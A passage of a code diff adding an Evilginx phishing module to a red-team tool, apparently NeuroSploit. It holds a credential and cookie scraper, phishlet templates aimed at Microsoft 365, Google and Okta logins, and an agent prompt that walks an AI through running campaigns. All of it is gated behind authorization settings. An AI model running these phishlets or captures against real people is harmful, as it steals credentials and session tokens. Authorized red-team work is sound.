ensure_enabled(&s)?; + } + if !s.policy.allow_capture { + return Err( + "credential capture is disabled — re-enable with --allow-capture on an authorized engagement" + .into(), + ); + } + if username.trim().is_empty() { + return Err("username is required".into()); + } + let safe = self + .add_capture( + campaign, phishlet, hostname, username, password, cookies, client_ip, user_agent, + source, + ) + .await; + Ok(json!({ "ok": true, "capture": safe })) + } + + async fn add_capture( + &self, + campaign: &str, + phishlet: &str, + hostname: &str, + username: &str, + password: &str, + cookies: &str, + client_ip: &str, + user_agent: &str, + source: &str, + ) -> Value { + let rec = Capture { + id: new_id("cap"), + ts: now_ms(), + campaign: campaign.trim().to_string(), + phishlet: phishlet.trim().to_string(), + hostname: hostname.trim().to_string(), + username: username.trim().to_string(), + password: password.to_string(), + cookies: cookies.to_string(), + client_ip: client_ip.trim().to_string(), + user_agent: user_agent.trim().to_string(), + source: source.to_string(), + }; + let safe = rec.safe(); + self.store + .mutate(|st| { + st.captures.push(rec); + if st.captures.len() > CAPTURE_CAP { + let drop = st.captures.len() - CAPTURE_CAP; + st.captures.drain(0..drop); + } + push_event( + st, + "warn", + "capture.add", + format!("capture for user {} ({})", username, source), + json!({ "hostname": hostname }), + ); + }) + .await; + self.store + .audit("capture.add", json!({ "username": username, "hostname": hostname, "source": source })); + safe + } + + /// Best-effort scrape of an Evilginx console log (or an exported file) for + /// `username=… password=…` style capture lines. Returns how many new + /// captures were imported, de-duplicated against the stored set. + pub async fn capture_sync( + &self, + file: Option, + campaign: &str, + phishlet: &str, + hostname: &str, + ) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + if !s.policy.allow_capture { + return Err( + "credential capture is disabled — re-enable with --allow-capture on an authorized engagement" + .into(), + ); + } + let path = file + .filter(|f| !f.trim().is_empty()) + .map(PathBuf::from) + .unwrap_or_else(|| self.dir.join("logs").join("evilginx.log")); + let text = std::fs::read_to_string(&path) + .map_err(|e| format!("could not read {}: {e}", path.display()))?; + let mut imported = 0usize; + let mut seen = 0usize; + for hit in scan_captures(&text) { + seen += 1; + let dupe = s.captures.iter().any(|c| { + c.username == hit.username && c.password == hit.password && c.hostname == hostname + }); + if dupe { + continue; + } + self.add_capture( + campaign, + phishlet, + hostname, + &hit.username, + &hit.password, + &hit.cookies, + &hit.client_ip, + &hit.user_agent, + "sync", + ) + .await; + imported += 1; + } + let _ = seen; + Ok(json!({ "ok": true, "imported": imported, "source": path.display().to_string() })) + } + + pub async fn events(&self, limit: usize) -> Value { + let s = self.store.snapshot().await; + let n = limit.clamp(1, super::EVENT_CAP); + let start = s.events.len().saturating_sub(n); + json!({ "events": s.events[start..] }) + } + + // -- helpers ------------------------------------------------------------ + + fn find_binary(&self) -> (Option, &'static str) { + let local = self.dir.join("evilginx").join("evilginx"); + if local.is_file() { + return (Some(local), "local"); + } + if let Some(p) = which("evilginx2") { + return (Some(p), "path"); + } + if let Some(p) = which("evilginx") { + return (Some(p), "path"); + } + (None, "none") + } +} + +fn ensure_enabled(s: &PhishState) -> Result<(), String> { + if !s.policy.enabled { + return Err( + "phishing is disabled — enable it explicitly first: neurosploit phish enable --authorization " + .into(), + ); + } + Ok(()) +} + +fn clamp_tail(items: &[T], n: usize) -> Vec { + let start = items.len().saturating_sub(n); + items[start..].to_vec() +} + +fn sanitize_name(s: &str) -> String { + let cleaned: String = s + .trim() + .chars() + .map(|c| { + if c.is_ascii_alphanumeric() || c == '_' || c == '-' || c == '.' { + c + } else { + '-' + } + }) + .collect(); + cleaned.trim_matches('-').chars().take(64).collect() +} + +fn host_only(s: &str) -> String { + let s = s.trim(); + let s = s.trim_start_matches("https://").trim_start_matches("http://"); + let s = s.split('/').next().unwrap_or(s); + let s = s.split('?').next().unwrap_or(s); + let s = s.split(':').next().unwrap_or(s); + s.trim().trim_end_matches('.').to_ascii_lowercase() +} + +fn yaml_str(s: &str) -> String { + format!("'{}'", s.replace('\'', "''")) +} + +fn shq(s: &str) -> String { + format!("'{}'", s.replace('\'', "'\\''")) +} + +fn which(bin: &str) -> Option { + let path = std::env::var_os("PATH")?; + for dir in std::env::split_paths(&path) { + let candidate = dir.join(bin); + if candidate.is_file() { + return Some(candidate); + } + } + None +} + +fn read_pid(path: &PathBuf) -> Option { + std::fs::read_to_string(path) + .ok() + .and_then(|s| s.trim().parse::().ok()) +} + +fn process_alive(pid: i32) -> bool { + std::process::Command::new("sh") + .arg("-c") + .arg(format!("kill -0 {pid} 2>/dev/null")) + .status() + .map(|s| s.success()) + .unwrap_or(false) +} + +async fn run_sh(command: &str, timeout_secs: u64) -> Result<(i32, String), String> { + let fut = tokio::process::Command::new("sh") + .arg("-c") + .arg(command) + .kill_on_drop(true) + .output(); + match tokio::time::timeout(Duration::from_secs(timeout_secs), fut).await { + Ok(Ok(out)) => { + let mut text = String::from_utf8_lossy(&out.stdout).to_string(); + let err = String::from_utf8_lossy(&out.stderr).to_string(); + if !err.is_empty() { + if !text.is_empty() { + text.push('\n'); + } + text.push_str(&err); + } + Ok((out.status.code().unwrap_or(-1), text)) + } + Ok(Err(e)) => Err(format!("command failed: {e}")), + Err(_) => Err(format!("command timed out after {timeout_secs}s")), + } +} + +struct ScanHit { + username: String, + password: String, + cookies: String, + client_ip: String, + user_agent: String, +} + +fn scan_captures(text: &str) -> Vec { + let mut out = Vec::new(); + for line in text.lines() { + if let Some(hit) = scan_line(line) { + out.push(hit); + } + } + out +} + +fn scan_line(line: &str) -> Option { + // JSON object line. + if let Ok(v) = serde_json::from_str::(line.trim()) { + if let Some(obj) = v.as_object() { + let username = str_field(obj, &["username", "user", "email", "login"]); + let password = str_field(obj, &["password", "pass", "passwd"]); + if let (Some(u), Some(p)) = (username, password) { + return Some(ScanHit { + username: u, + password: p, + cookies: v + .get("cookies") + .map(|c| c.to_string()) + .unwrap_or_default(), + client_ip: str_field(obj, &["ip", "client_ip", "remote_addr"]).unwrap_or_default(), + user_agent: str_field(obj, &["user_agent", "ua"]).unwrap_or_default(), + }); + } + } + } + // key=value / key: value line. + let username = kv(line, &["username", "user", "email", "login"]); + let password = kv(line, &["password", "passwd", "pass"]); + match (username, password) { + (Some(u), Some(p)) => Some(ScanHit { + username: u, + password: p, + cookies: String::new(), + client_ip: kv(line, &["ip", "client_ip", "remote_addr"]).unwrap_or_default(), + user_agent: String::new(), + }), + _ => None, + } +} + +fn str_field(obj: &serde_json::Map, keys: &[&str]) -> Option { + for k in keys { + if let Some(v) = obj.get(*k).and_then(|v| v.as_str()) { + if !v.trim().is_empty() { + return Some(v.trim().to_string()); + } + } + } + None +} + +fn kv(line: &str, keys: &[&str]) -> Option { + let lower = line.to_ascii_lowercase(); + for k in keys { + if let Some(idx) = lower.find(k) { + let rest = &line[idx + k.len()..]; + let rest = rest.trim_start_matches( + |c: char| c == '=' || c == ':' || c == ' ' || c == '\t' || c == '"' || c == '\'', + ); + let val: String = rest + .chars() + .take_while(|c| { + !c.is_whitespace() + && *c != ',' + && *c != '}' + && *c != ';' + && *c != '"' + && *c != '\'' + }) + .collect(); + if !val.is_empty() && val != ":" { + return Some(val); + } + } + } + None +} diff --git a/neurosploit-rs/crates/harness/src/phish/mod.rs b/neurosploit-rs/crates/harness/src/phish/mod.rs new file mode 100644 index 0000000..07bbf30 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/phish/mod.rs @@ -0,0 +1,88 @@ +//! Phishing / Adversary-in-the-Middle (Evilginx) engagement module. +//! +//! Opt-in, auditable phishing for **authorized red-team engagements**. It +//! mirrors the C2 safety model: +//! * disabled by default; enabling requires an authorization reference; +//! * a target brand domain must be explicitly allow-listed (or `--allow-public`); +//! * the phishing domain that serves lures must be operator-owned / allow-listed; +//! * capturing credentials needs its own opt-in; +//! * every mutation is appended to `/audit.jsonl`; +//! * state and generated phishlets are written with 0600 permissions and +//! secrets are redacted in API/`safe()` projections. +//! +//! The CLI, MCP and web console all drive the same `PhishManager`, so there is +//! exactly one implementation of phishlet generation, Evilginx lifecycle and +//! capture ingestion. + +mod manager; +mod store; +mod templates; +mod types; + +pub use manager::PhishManager; +pub use types::{Campaign, Capture, Event, PhishPolicy, PhishState, Phishlet}; + +use std::path::PathBuf; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::time::{SystemTime, UNIX_EPOCH}; + +pub(crate) const STATE_VERSION: u32 = 1; +pub(crate) const EVENT_CAP: usize = 1000; +pub(crate) const CAPTURE_CAP: usize = 5000; +pub(crate) const OUTPUT_CAP: usize = 64 * 1024; + +static ID_SEQ: AtomicU64 = AtomicU64::new(1); + +/// Root directory for phishing state. Mirrors the console's `.neurosploit/` +/// layout; override with `NEUROSPLOIT_PHISH_DIR`. +pub fn phish_dir() -> PathBuf { + if let Ok(p) = std::env::var("NEUROSPLOIT_PHISH_DIR") { + if !p.trim().is_empty() { + return PathBuf::from(p); + } + } + std::env::current_dir() + .unwrap_or_else(|_| PathBuf::from(".")) + .join(".neurosploit") + .join("phish") +} + +pub(crate) fn now_ms() -> i64 { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_millis() as i64) + .unwrap_or(0) +} + +pub(crate) fn new_id(prefix: &str) -> String { + let n = ID_SEQ.fetch_add(1, Ordering::Relaxed); + let t = SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_nanos()) + .unwrap_or(0); + format!("{prefix}_{t:x}{n:x}") +} + +pub(crate) fn clip(s: String) -> String { + crate::limits::clip( + &s, + crate::limits::env_cap("NEUROSPLOIT_PHISH_OUTPUT_CAP", OUTPUT_CAP), + ) +} + +/// Phishing doctrine a caller can inject into agent prompts when the module is +/// enabled, so the model plans with the same guardrails the manager enforces. +pub fn doctrine() -> &'static str { + "PHISHING / AiTM (authorized engagement, opt-in): a local NeuroSploit \ +phishing manager (Evilginx) is available for this run. Use it only against brands \ +and domains you are explicitly authorized to simulate, and only from a lure domain \ +the client owns.\n\ + • Inspect: `neurosploit phish status --json`.\n\ + • Create a phishlet (requires the target brand in the allow-list): \ +`neurosploit phish phishlet create --name --target-domain --template generic --json`.\n\ + • Create a lure: `neurosploit phish campaign create --name --phishlet --hostname --json`.\n\ + • Lifecycle: `neurosploit phish install|setup|start|stop --json`.\n\ + • Captures (only if enabled): `neurosploit phish capture list|sync --json`.\n\ +Rules: never target brands/people outside the signed scope; prefer test accounts; \ +never run this without written authorization. The web console drives the same verbs." +} diff --git a/neurosploit-rs/crates/harness/src/phish/store.rs b/neurosploit-rs/crates/harness/src/phish/store.rs new file mode 100644 index 0000000..74c8d4c --- /dev/null +++ b/neurosploit-rs/crates/harness/src/phish/store.rs @@ -0,0 +1,137 @@ +use std::io::Write; +use std::path::{Path, PathBuf}; + +use serde_json::{json, Value}; +use tokio::sync::RwLock; + +use super::{now_ms, PhishState, STATE_VERSION}; + +pub(crate) struct PhishStore { + pub(crate) dir: PathBuf, + pub(crate) state: RwLock, +} + +impl PhishStore { + pub(crate) fn open(dir: &Path) -> std::io::Result { + std::fs::create_dir_all(dir)?; + for sub in ["phishlets", "lures", "logs", "evilginx"] { + std::fs::create_dir_all(dir.join(sub))?; + } + let path = dir.join("state.json"); + let state = match std::fs::read(&path) { + Ok(bytes) => match serde_json::from_slice::(&bytes) { + Ok(mut s) => { + if s.version == 0 { + s.version = STATE_VERSION; + } + s + } + Err(_) => { + let backup = dir.join(format!("state.corrupt-{}.json", now_ms())); + let _ = std::fs::rename(&path, &backup); + PhishState::default() + } + }, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => PhishState::default(), + Err(e) => return Err(e), + }; + Ok(Self { + dir: dir.to_path_buf(), + state: RwLock::new(state), + }) + } + + pub(crate) async fn snapshot(&self) -> PhishState { + self.state.read().await.clone() + } + + async fn save_locked(&self, state: &PhishState) -> std::io::Result<()> { + let bytes = serde_json::to_vec_pretty(state)?; + write_private(&self.dir.join("state.json"), &bytes) + } + + pub(crate) async fn mutate(&self, f: impl FnOnce(&mut PhishState) -> R) -> R { + let mut guard = self.state.write().await; + let out = f(&mut guard); + if let Err(e) = self.save_locked(&guard).await { + eprintln!("[phish] could not persist state: {e}"); + } + out + } + + pub(crate) fn audit(&self, action: &str, detail: Value) { + let rec = json!({ + "ts": now_ms(), + "action": action, + "detail": detail, + }); + let line = format!("{rec}\n"); + let _ = append_private(&self.dir.join("audit.jsonl"), line.as_bytes()); + } +} + +pub(crate) fn write_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> { + let tmp = path.with_extension("tmp"); + { + let mut f = std::fs::File::create(&tmp)?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let _ = f.set_permissions(std::fs::Permissions::from_mode(0o600)); + } + f.write_all(bytes)?; + f.sync_all()?; + } + if path.exists() { + let _ = std::fs::remove_file(path); + } + std::fs::rename(&tmp, path) +} + +pub(crate) fn write_executable(path: &Path, bytes: &[u8]) -> std::io::Result<()> { + write_private(path, bytes)?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let _ = std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o700)); + } + Ok(()) +} + +fn append_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> { + let mut opts = std::fs::OpenOptions::new(); + opts.create(true).append(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + opts.mode(0o600); + } + let mut f = opts.open(path)?; + f.write_all(bytes)?; + Ok(()) +} + +// --------------------------------------------------------------------------- +// Domain guardrails +// --------------------------------------------------------------------------- + +/// Match a host against an allow-list of exact hosts, `*.dom` or `.dom` entries. +pub(crate) fn domain_matches_allowlist(host: &str, patterns: &[String]) -> bool { + let h = host.trim().trim_end_matches('.').to_ascii_lowercase(); + if h.is_empty() { + return false; + } + patterns.iter().any(|p| { + let p = p.trim().trim_end_matches('.').to_ascii_lowercase(); + if p.is_empty() { + return false; + } + if let Some(suffix) = p.strip_prefix("*.") { + return h == suffix || h.ends_with(&format!(".{suffix}")); + } + if let Some(suffix) = p.strip_prefix('.') { + return h == suffix || h.ends_with(&format!(".{suffix}")); + } + h == p + }) +} diff --git a/neurosploit-rs/crates/harness/src/phish/templates.rs b/neurosploit-rs/crates/harness/src/phish/templates.rs new file mode 100644 index 0000000..b9c0fff --- /dev/null +++ b/neurosploit-rs/crates/harness/src/phish/templates.rs @@ -0,0 +1,132 @@ +//! Evilginx phishlet templates. +//! +//! These are *starting points* for authorized simulations. A generated phishlet +//! still needs operator review — fetch/replace rules and cookie/scoping depend +//! on the specific target application. Rendering never performs network access. + +/// Selectable templates exposed in the CLI/UI. +pub fn templates() -> [&'static str; 4] { + ["generic", "microsoft365", "google", "okta"] +} + +fn split_domain(domain: &str) -> (String, String) { + let labels: Vec<&str> = domain + .trim() + .trim_matches('.') + .split('.') + .filter(|s| !s.is_empty()) + .collect(); + match labels.len() { + 0 => ("www".to_string(), domain.to_string()), + 1 => ("www".to_string(), labels[0].to_string()), + 2 => ("www".to_string(), labels.join(".")), + _ => { + let sub = labels[..labels.len() - 2].join("."); + let root = labels[labels.len() - 2..].join("."); + (sub, root) + } + } +} + +fn auth_tokens(template: &str, root: &str) -> (String, Vec<&'static str>) { + match template { + "microsoft365" => ( + format!(".{root}"), + vec![ + "ESTSAUTH", + "ESTSAUTHPERSISTENT", + "ESTSAUTHLIGHT", + "SignInStateCookie", + ], + ), + "google" => ( + format!(".{root}"), + vec![ + "SID", + "HSID", + "SSID", + "APISID", + "SAPISID", + "__Secure-1PSID", + "__Secure-3PSID", + ], + ), + "okta" => (format!(".{root}"), vec!["sid", "DT", "JSESSIONID"]), + _ => ( + format!(".{root}"), + vec!["session", "sessionid", "remember_token", "sid", "auth_token"], + ), + } +} + +fn credential_fields(template: &str) -> (&'static str, &'static str) { + match template { + "microsoft365" => ("login", "passwd"), + "google" => ("identifier", "Passwd"), + "okta" => ("username", "password"), + _ => ("username", "password"), + } +} + +fn login_path(template: &str) -> &'static str { + match template { + "microsoft365" => "/", + "google" => "/", + "okta" => "/", + _ => "/", + } +} + +/// Render a phishlet YAML for `target_domain` using the chosen template. +pub fn render(name: &str, target_domain: &str, template: &str) -> String { + let template = if templates().contains(&template) { + template + } else { + "generic" + }; + let (sub, root) = split_domain(target_domain); + let (token_domain, keys) = auth_tokens(template, &root); + let (ufield, pfield) = credential_fields(template); + let path = login_path(template); + let keys_yaml: Vec = keys.iter().map(|k| format!("'{k}'")).collect(); + + format!( + "# phishlet: {name} +# generated by NeuroSploit from the '{template}' template — REVIEW before use. +# Authorized simulated phishing only. Verify proxy_hosts / sub_filters / auth_tokens +# against the real target application before starting a campaign. +author: '@neurosploit' +min_ver: '2.3.0' +proxy_hosts: + - {{phish_sub: '{sub}', orig_sub: '{sub}', domain: '{root}', session: true, is_landing: true}} + - {{phish_sub: 'www', orig_sub: 'www', domain: '{root}', session: false, is_landing: false}} +sub_filters: + - {{triggers_on: '{root}', orig_sub: '{sub}', domain: '{root}', search: '//{sub}.{root}', replace: '//{{hostname}}', mimes: ['text/html', 'application/json', 'application/javascript']}} + - {{triggers_on: '{root}', orig_sub: 'www', domain: '{root}', search: '//www.{root}', replace: '//{{hostname}}', mimes: ['text/html', 'application/json']}} +auth_tokens: + - domain: '{token_domain}' + keys: [{keys}] +credentials: + username: + key: '{ufield}' + search: '(.*)' + type: 'post' + password: + key: '{pfield}' + search: '(.*)' + type: 'post' +login: + domain: '{sub}.{root}' + path: '{path}' +", + name = name, + template = template, + sub = sub, + root = root, + token_domain = token_domain, + keys = keys_yaml.join(", "), + ufield = ufield, + pfield = pfield, + path = path, + ) +} diff --git a/neurosploit-rs/crates/harness/src/phish/types.rs b/neurosploit-rs/crates/harness/src/phish/types.rs new file mode 100644 index 0000000..d6d9f1e --- /dev/null +++ b/neurosploit-rs/crates/harness/src/phish/types.rs @@ -0,0 +1,176 @@ +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; + +use super::{now_ms, EVENT_CAP, STATE_VERSION}; + +/// Operator authorization and guardrails. Persisted so every restarted +/// session enforces the same boundary. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PhishPolicy { + pub enabled: bool, + /// Free-text reference to the engagement authorization (SOW / ticket / + /// bug-bounty URL). Required to enable. + pub authorized_by: String, + /// Target brand domains the operator is authorized to impersonate + /// (e.g. `login.microsoftonline.com`, `*.corp.example`). + pub allowed_domains: Vec, + /// Domains the operator controls and may serve lures from + /// (e.g. `*.phish-lab.example`). + pub phishing_domains: Vec, + /// Explicit opt-in for target/phishing domains outside the allow-lists. + pub allow_public: bool, + /// Explicit opt-in: captured credentials may be persisted. + pub allow_capture: bool, + /// Public IP/host Evilginx advertises in lures. + pub server_ip: String, + pub max_campaigns: usize, +} + +impl Default for PhishPolicy { + fn default() -> Self { + Self { + enabled: false, + authorized_by: String::new(), + allowed_domains: Vec::new(), + phishing_domains: Vec::new(), + allow_public: false, + allow_capture: false, + server_ip: String::new(), + max_campaigns: 8, + } + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Phishlet { + pub id: String, + pub name: String, + /// Brand domain being impersonated. + pub target_domain: String, + /// Template used to render the phishlet. + pub template: String, + /// Absolute path to the generated `.yaml`. + pub path: String, + pub deployed: bool, + pub created_at: i64, + pub note: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Campaign { + pub id: String, + pub name: String, + pub phishlet: String, + /// Operator-owned domain served by Evilginx. + pub hostname: String, + pub redirect_url: String, + pub lure_url: String, + /// `draft` | `active` | `stopped` + pub status: String, + pub created_at: i64, + pub note: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Capture { + pub id: String, + pub ts: i64, + pub campaign: String, + pub phishlet: String, + pub hostname: String, + pub username: String, + /// Secret — never returned by `safe()`. + pub password: String, + /// Secret — never returned by `safe()`. + pub cookies: String, + pub client_ip: String, + pub user_agent: String, + pub source: String, +} + +impl Capture { + /// Public projection: identifiers only, secrets redacted. + pub fn safe(&self) -> Value { + json!({ + "id": self.id, + "ts": self.ts, + "campaign": self.campaign, + "phishlet": self.phishlet, + "hostname": self.hostname, + "username": self.username, + "password_set": !self.password.is_empty(), + "cookie_count": cookie_count(&self.cookies), + "client_ip": self.client_ip, + "user_agent": self.user_agent, + "source": self.source, + }) + } +} + +fn cookie_count(cookies: &str) -> usize { + let c = cookies.trim(); + if c.is_empty() { + return 0; + } + if let Ok(v) = serde_json::from_str::(c) { + if let Some(o) = v.as_object() { + return o.len(); + } + if let Some(a) = v.as_array() { + return a.len(); + } + } + c.split(';').filter(|s| !s.trim().is_empty()).count() +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Event { + pub ts: i64, + pub level: String, + pub kind: String, + pub message: String, + pub data: Value, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PhishState { + pub version: u32, + pub policy: PhishPolicy, + pub phishlets: Vec, + pub campaigns: Vec, + pub captures: Vec, + pub events: Vec, +} + +impl Default for PhishState { + fn default() -> Self { + Self { + version: STATE_VERSION, + policy: PhishPolicy::default(), + phishlets: Vec::new(), + campaigns: Vec::new(), + captures: Vec::new(), + events: Vec::new(), + } + } +} + +pub fn push_event( + state: &mut PhishState, + level: &str, + kind: &str, + message: impl Into, + data: Value, +) { + state.events.push(Event { + ts: now_ms(), + level: level.into(), + kind: kind.into(), + message: message.into(), + data, + }); + if state.events.len() > EVENT_CAP { + let drop = state.events.len() - EVENT_CAP; + state.events.drain(0..drop); + } +} diff --git a/neurosploit-rs/tools/toolbox.json b/neurosploit-rs/tools/toolbox.json index cac9a75..c3d84fd 100644 --- a/neurosploit-rs/tools/toolbox.json +++ b/neurosploit-rs/tools/toolbox.json @@ -4046,6 +4046,24 @@ "apt": "libimobiledevice-utils" }, "mcp": null + }, + { + "id": "evilginx", + "name": "Evilginx (AiTM phishing)", + "binary": "evilginx2", + "category": "creds", + "description": "Adversary-in-the-middle phishing proxy for authorized red-team engagements; manage via `neurosploit phish` (install/setup/phishlet/campaign/capture).", + "usage": "evilginx2 -p {target}", + "tags": [ + "phishing", + "aitm", + "credentials", + "session-token" + ], + "intrusive": true, + "requires_root": false, + "install": {}, + "mcp": null } ] } diff --git a/web/public/app.js b/web/public/app.js index 5728f47..3fa0f35 100644 --- a/web/public/app.js +++ b/web/public/app.js @@ -139,7 +139,7 @@ function clearFieldErrors() { $$('.field-error').forEach((el) => { el.textConten // view navigation // --------------------------------------------------------------------------- -const ALL_VIEWS = ['homeView','dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','projectsView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView','c2View','toolboxView']; +const ALL_VIEWS = ['homeView','dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','projectsView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView','c2View','phishView','toolboxView']; function switchView(viewName) { state.activeView = viewName; @@ -164,6 +164,7 @@ function switchView(viewName) { if (viewName === 'vault') loadVault(); if (viewName === 'guardrails') loadGuardrails(); if (viewName === 'c2') loadC2(); + if (viewName === 'phish') loadPhish(); if (viewName === 'toolbox') loadToolbox(); if (viewName === 'dash') renderDashboard(); if (viewName === 'home') renderHome(); @@ -3948,6 +3949,331 @@ document.addEventListener('click', async (ev) => { $('#btnC2Refresh')?.addEventListener('click', () => loadC2()); +// --------------------------------------------------------------------------- +// Phishing (Evilginx) — opt-in AiTM phishing orchestration for authorized work +// --------------------------------------------------------------------------- + +const phishState = { data: null, tab: 'phishlets', output: '', yaml: null, timer: null }; + +async function loadPhish() { + if (state.activeView !== 'phish') return; + const body = $('#phishBody'); + try { + const data = await api('/api/phish/status'); + phishState.data = data; + renderPhish(); + if (!phishState.timer) { + phishState.timer = setInterval(() => { + if (state.activeView === 'phish') loadPhish(); + }, 6000); + } + } catch (e) { + if (body) body.innerHTML = `
Phishing unavailable — ${esc(e.message)}
`; + } +} + +function renderPhish() { + const body = $('#phishBody'); + if (!body) return; + const d = phishState.data || {}; + const p = d.policy || {}; + const evil = d.evilginx || {}; + if (!p.enabled) { + body.innerHTML = ` +
+
Phishing (Evilginx) is disabled
+
+ This layer is opt-in and auditable and exists for authorized red-team engagements only. + You must name the target brand domains you are authorized to impersonate and the lure domains you + own. Credential capture requires a separate opt-in. State and the audit trail live under + .neurosploit/phish/. +
+
+ + +
Recorded in every audit entry.
+
+
+ + +
Phishlets may only impersonate these domains (unless allow-public is set).
+
+
+ + +
Campaigns may only serve lures from these domains.
+
+
+ + +
+
+
+
+ +
+
+
`; + return; + } + + const counts = d.counts || {}; + const tabs = [['phishlets','Phishlets'],['campaigns','Campaigns'],['captures','Captures'],['events','Events']]; + body.innerHTML = ` +
+
+ Phishing enabled ${c2Badge(true, 'ON', 'OFF')} + ${c2Badge(!!p.allow_capture, 'capture', 'no capture')} + ${c2Badge(!!p.allow_public, 'public', 'allow-list only')} + auth: ${esc(p.authorized_by || '—')} +
+
+ ${counts.phishlets || 0} phishlets · ${counts.campaigns_active || 0} active / ${counts.campaigns || 0} campaigns · ${counts.captures || 0} captures. + server_ip: ${esc(p.server_ip || '—')} +
+
+ Evilginx ${c2Badge(!!evil.installed, 'installed', 'not installed')} ${c2Badge(!!evil.running, 'running', 'stopped')} + ${esc(evil.binary || '')} + log: ${esc(evil.log_path || '')} +
+
+ + + + + +
+
+
+
+
+
+
+ +
${renderPhishPanel(d, p)}
+ ${phishState.yaml ? `
Phishlet YAML — review before use
${esc(phishState.yaml)}
` : ''} + ${phishState.output ? `
Output
${esc(phishState.output)}
` : ''}`; +} + +function renderPhishPanel(d, p) { + const tab = phishState.tab; + if (tab === 'campaigns') return renderPhishCampaigns(d); + if (tab === 'captures') return renderPhishCaptures(d, p); + if (tab === 'events') return renderPhishEvents(d); + return renderPhishPhishlets(d); +} + +function renderPhishPhishlets(d) { + const tplOpts = (d.templates || ['generic']).map((t) => ``).join(''); + const rows = (d.phishlets || []).map((pl) => ` + + ${esc(pl.name)} + ${esc(pl.target_domain)} + ${esc(pl.template)} + ${pl.deployed ? 'deployed' : 'stored'} + ${esc(c2Time(pl.created_at))} + + + + + + `).join(''); + return ` +
+
Create phishlet from template
+
+
+
+
+
+
+
+
+
+
Generated phishlets are written to .neurosploit/phish/phishlets/ (0600). Review the YAML before every campaign.
+
+
+ + ${rows || ''} +
NameTargetTemplateStatusCreated
No phishlets yet — generate one from an authorized target domain.
`; +} + +function renderPhishCampaigns(d) { + const plOpts = (d.phishlets || []).map((pl) => ``).join(''); + const rows = (d.campaigns || []).map((c) => ` + + ${esc(c.id)} + ${esc(c.name)} + ${esc(c.phishlet)} + ${esc(c.hostname)} + ${esc(c.lure_url)} + ${esc(c.status)} + + + + + + `).join(''); + return ` +
+
Create lure / campaign
+
+
+
+
+
+
+
+
Lure hostnames must be in the authorized phishing-domains list. Lures are generated by Evilginx; this records the campaign metadata and audit entry.
+
+
+ + ${rows || ''} +
CampaignNamePhishletHostnameLure URLStatus
No campaigns yet.
`; +} + +function renderPhishCaptures(d, p) { + const rows = (d.captures || []).slice().reverse().map((c) => ` + + ${esc(c2Time(c.ts))} + ${esc(c.username || '—')} + ${esc(c.hostname || '—')} + ${c.password_set ? 'password' : '—'} + ${esc(c.cookie_count || 0)} + ${esc(c.source || '—')} + `).join(''); + return ` +
+
Captures ${c2Badge(!!p.allow_capture, 'capture enabled', 'capture disabled')}
+
Secrets are redacted in the console and stored 0600 under .neurosploit/phish/. Sync scrapes the Evilginx log for username=… password=… capture lines.
+
+ +
+
+
+ + ${rows || ''} +
TimeUsernameHostnamePasswordCookiesSource
No captures yet.
`; +} + +function renderPhishEvents(d) { + const rows = (d.events || []).map((e) => ` + ${esc(new Date(e.ts).toLocaleString())}${esc(e.level)}${esc(e.kind)}${esc(e.message)}`).join(''); + return `
+ + ${rows || ''} +
TimeLevelKindMessage
No events yet.
`; +} + +document.addEventListener('click', async (ev) => { + const tab = ev.target.closest('[data-phish-tab]'); + if (tab) { phishState.tab = tab.dataset.phishTab; renderPhish(); return; } + const el = ev.target.closest('[data-phish-action]'); + if (!el || !el.closest('#phishBody')) return; + const action = el.dataset.phishAction; + const id = el.dataset.id || ''; + try { + if (action === 'enable') { + const auth = $('#phAuth')?.value.trim(); + if (!auth) { fieldError('#phEnableError', 'an authorization reference is required'); return; } + await c2Post('/api/phish/enable', { + authorization: auth, + domains: $('#phDomains')?.value || '', + phishingDomains: $('#phPhishingDomains')?.value || '', + serverIp: $('#phServerIp')?.value || '', + allowCapture: !!$('#phAllowCapture')?.checked, + allowPublic: !!$('#phAllowPublic')?.checked, + }); + toast('Phishing enabled — review phishlets before any campaign', 'info'); + await loadPhish(); return; + } + if (action === 'disable') { await c2Post('/api/phish/disable', {}); phishState.output = ''; phishState.yaml = null; await loadPhish(); return; } + if (action === 'refresh') { await loadPhish(); return; } + if (action === 'install') { + toast('Installing Evilginx — this can take several minutes', 'info'); + const r = await c2Post('/api/phish/install', {}); + phishState.output = r.output || `installed: ${r.installed}`; + await loadPhish(); return; + } + if (action === 'setup') { + const r = await c2Post('/api/phish/setup', { + server_ip: $('#phSetupIp')?.value || '', + domain: $('#phSetupDomain')?.value || '', + }); + phishState.output = `config: ${r.config_path}\nserver_ip: ${r.server_ip}\ndomain: ${r.domain}`; + await loadPhish(); return; + } + if (action === 'start') { + const r = await c2Post('/api/phish/start', {}); + phishState.output = `running: ${r.running} pid: ${r.pid || '—'}\nlog: ${r.log || ''}`; + await loadPhish(); return; + } + if (action === 'stop') { + await c2Post('/api/phish/stop', {}); + phishState.output = 'Evilginx stopped'; + await loadPhish(); return; + } + if (action === 'phishlet-create') { + const r = await c2Post('/api/phish/phishlets', { + name: $('#phName')?.value.trim() || 'phishlet', + target_domain: $('#phTarget')?.value.trim() || '', + template: $('#phTemplate')?.value || 'generic', + note: $('#phNote')?.value || '', + }); + 